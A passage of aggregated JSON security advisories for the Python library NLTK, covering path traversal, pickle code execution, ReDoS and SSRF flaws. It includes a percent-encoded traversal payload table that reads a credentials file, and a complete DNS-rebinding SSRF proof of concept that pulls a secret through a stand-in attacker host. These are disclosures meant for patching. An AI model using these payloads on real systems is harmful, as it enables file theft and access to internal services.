files.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:47:46.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-72r2-7mfr-5xr9","https://nvd.nist.gov/vuln/detail/CVE-2026-65915","https://www.vulncheck.com/advisories/nltk-before-arbitrary-file-read-via-filesystempathpointer","https://github.com/advisories/GHSA-79ph-w9m5-4v5m"],"source_kind":"github","identifiers":["GHSA-79ph-w9m5-4v5m"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.267Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK","url":"https://github.com/advisories/GHSA-8vh5-mgjj-w6hg","title":"Duplicate Advisory: [CWE-1188] Default ENFORCE=False Disables All pathsec Security Controls","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T15:40:08.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3","https://nvd.nist.gov/vuln/detail/CVE-2026-62388","https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec","https://github.com/advisories/GHSA-8vh5-mgjj-w6hg"],"source_kind":"github","identifiers":["GHSA-8vh5-mgjj-w6hg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-03T00:00:10.076Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmg1LW1namotdzZoZ84ABlGK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU","url":"https://github.com/advisories/GHSA-qg9p-xrhj-435m","title":"Duplicate Advisory: nltk: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3gqm-fcw5-w839. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 (affected versions \u003c= 3.9.4) contains a server-side request forgery (SSRF) vulnerability in the validate_network_url() function in nltk/pathsec.py. The _resolve_hostname() helper catches OSError and ValueError during socket.getaddrinfo() and returns an empty list; when DNS resolution fails, the validation loop executes no IP checks and the function fails open, allowing urlopen() to proceed without validation. An attacker who can trigger DNS resolution failures or use DNS rebinding can bypass SSRF protections and reach restricted network resources, including cloud metadata endpoints (e.g., 169.254.169.254).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T15:38:15.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839","https://nvd.nist.gov/vuln/detail/CVE-2026-63311","https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure","https://github.com/advisories/GHSA-qg9p-xrhj-435m"],"source_kind":"github","identifiers":["GHSA-qg9p-xrhj-435m"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.306Z","updated_at":"2026-09-03T00:00:10.077Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzlwLXhyaGotNDM1bc4ABlGU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD","url":"https://github.com/advisories/GHSA-5gh2-94qg-qppq","title":"NLTK AllowlistUnpickler dotted-name validation bypass allows remote code execution","description":"NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables outside the allowlisted namespace. Attackers can craft untrusted transition-parser models that execute arbitrary commands when TransitionParser.parse loads the model through allowlisted_pickle_load.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-71513","https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea","https://github.com/nltk/nltk/blob/v3.10.2/nltk/picklesec.py#L119-L124","https://www.vulncheck.com/advisories/nltk-through-remote-code-execution-via-allowlistunpickler-dotted-name-bypass","https://github.com/advisories/GHSA-5gh2-94qg-qppq"],"source_kind":"github","identifiers":["GHSA-5gh2-94qg-qppq","CVE-2026-71513"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-03T00:00:12.235Z","epss_percentage":0.00784,"epss_percentile":0.53529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Z2gyLTk0cWctcXBwcc4ABlGD/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR","url":"https://github.com/advisories/GHSA-cv2g-m8rr-888c","title":"Duplicate Advisory: Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rf74-v2fm-23pw. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decode_obj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T15:33:17.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw","https://nvd.nist.gov/vuln/detail/CVE-2026-66393","https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder","https://github.com/advisories/GHSA-cv2g-m8rr-888c"],"source_kind":"github","identifiers":["GHSA-cv2g-m8rr-888c"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-03T00:00:12.231Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE","url":"https://github.com/advisories/GHSA-cv22-g7mw-8v73","title":"NLTK CrubadanCorpusReader path traversal allows arbitrary file disclosure","description":"NLTK 3.9.4 through 3.10.2 contains a path traversal vulnerability in CrubadanCorpusReader. _load_lang_ngrams joins the corpus root with crubadan_code, the column-0 value read from the corpus table.txt mapping file, and opens the result with the builtin open() rather than the pathsec-validated opener, so os.path.join discards the root when that value is absolute and the read escapes the corpus directory without the containment check nltk.pathsec applies when ENFORCE is set. An attacker who controls a corpus package can disclose file contents outside the corpus root through lang_freq, limited to paths ending in -3grams.txt whose contents parse as token count lines.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-71514","https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab","https://github.com/nltk/nltk","https://github.com/nltk/nltk/blob/v3.10.2/nltk/corpus/reader/crubadan.py#L90-L98","https://www.vulncheck.com/advisories/nltk-through-path-traversal-via-crubadancorpusreader-pathsec-bypass","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/advisories/GHSA-cv22-g7mw-8v73"],"source_kind":"github","identifiers":["GHSA-cv22-g7mw-8v73","CVE-2026-71514"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-03T00:00:12.232Z","epss_percentage":0.00143,"epss_percentile":0.03878,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003e= 3.9.4, \u003c 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjIyLWc3bXctOHY3M84ABlGE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH","url":"https://github.com/advisories/GHSA-qq3h-cgj8-w3fx","title":"Duplicate Advisory: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f833-7jw8-xwrv. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:47:57.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv","https://nvd.nist.gov/vuln/detail/CVE-2026-62384","https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before","https://github.com/advisories/GHSA-qq3h-cgj8-w3fx"],"source_kind":"github","identifiers":["GHSA-qq3h-cgj8-w3fx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T00:00:12.267Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI","url":"https://github.com/advisories/GHSA-qx2g-xrx7-vfh8","title":" NLTK TweetTokenizer vulnerable to denial of service through catastrophic regex backtracking","description":"The URLS regular expression in nltk/tokenize/casual.py, compiled into TweetTokenizer.WORD_RE and applied by TweetTokenizer.tokenize, contains a naked-domain branch whose domain-label prefix [a-z0-9]+(?:[.\\-][a-z0-9]+)* is unbounded. Input consisting of many alternating label separators can be partitioned in exponentially many ways, and because the branch also requires a trailing top-level domain that such input never supplies, the engine explores those partitions before failing at each offset. A few kilobytes of input therefore consumes seconds to minutes of single-threaded CPU, and the HANG_RE substitution performed before matching does not collapse the pattern. TweetTokenizer is intended for tokenizing untrusted social-media text, so any service that applies it, or the module-level casual_tokenize, to submitted text can be stalled per request without authentication. Version 3.10.1 bounds the label repetition.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-21T00:31:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-72818","https://github.com/nltk/nltk/issues/3704","https://github.com/nltk/nltk/blob/3.9.4/nltk/tokenize/casual.py","https://github.com/nltk/nltk/releases/tag/v3.10.1","https://www.vulncheck.com/advisories/nltk-tweettokenizer-url-pattern-backtracks-catastrophically-on-naked-domain-like-input","https://github.com/nltk/nltk/pull/3701","https://github.com/nltk/nltk/commit/e092ed52eccae642304448bffc8d23cb301f85c1","https://github.com/advisories/GHSA-qx2g-xrx7-vfh8"],"source_kind":"github","identifiers":["GHSA-qx2g-xrx7-vfh8","CVE-2026-72818"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-03T00:00:12.236Z","epss_percentage":0.00505,"epss_percentile":0.40816,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.1","vulnerable_version_range":"\u003c 3.10.1"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xeDJnLXhyeDctdmZoOM4ABlBI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","url":"https://github.com/advisories/GHSA-m42h-3232-vpv3","title":"nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","description":"# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -\u003e .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n'\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-13T20:45:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3","https://nvd.nist.gov/vuln/detail/CVE-2026-12243","https://github.com/nltk/nltk/issues/3504","https://github.com/nltk/nltk/pull/3522","https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml","https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1","https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences","https://github.com/advisories/GHSA-m42h-3232-vpv3"],"source_kind":"github","identifiers":["GHSA-m42h-3232-vpv3","CVE-2026-12243"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T21:00:08.851Z","updated_at":"2026-08-14T23:00:09.967Z","epss_percentage":0.00583,"epss_percentile":0.44528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-","url":"https://github.com/advisories/GHSA-pv39-qrfq-g8gc","title":"Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.\n\n## Original Description\nIn nltk version 3.9.4, the `nltk.downloader.Downloader._download_package()` function writes downloaded package bytes to disk and may extract them before enforcing SHA-256 or MD5 checksum validation. This allows an attacker to tamper with the package response body for `info.url` through a compromised mirror, malicious proxy, or other source-substitution condition, leading to the installation of attacker-controlled package bytes. The vulnerability can result in malicious corpus or model content being trusted by downstream users or applications.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-03T09:32:37.000Z","withdrawn_at":"2026-09-01T20:30:34.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-12259","https://huntr.com/bounties/659ccf6d-12d4-4d4a-84c0-078633c35a5d","https://github.com/advisories/GHSA-pv39-qrfq-g8gc"],"source_kind":"github","identifiers":["GHSA-pv39-qrfq-g8gc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T00:00:14.441Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdjM5LXFyZnEtZzhnY84ABhE-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","url":"https://github.com/advisories/GHSA-qvv7-cg9c-w4x3","title":"Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode","description":"### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -\u003e public\" if n == 0 else \"CONNECT    -\u003e loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -\u003e PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -\u003e PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers 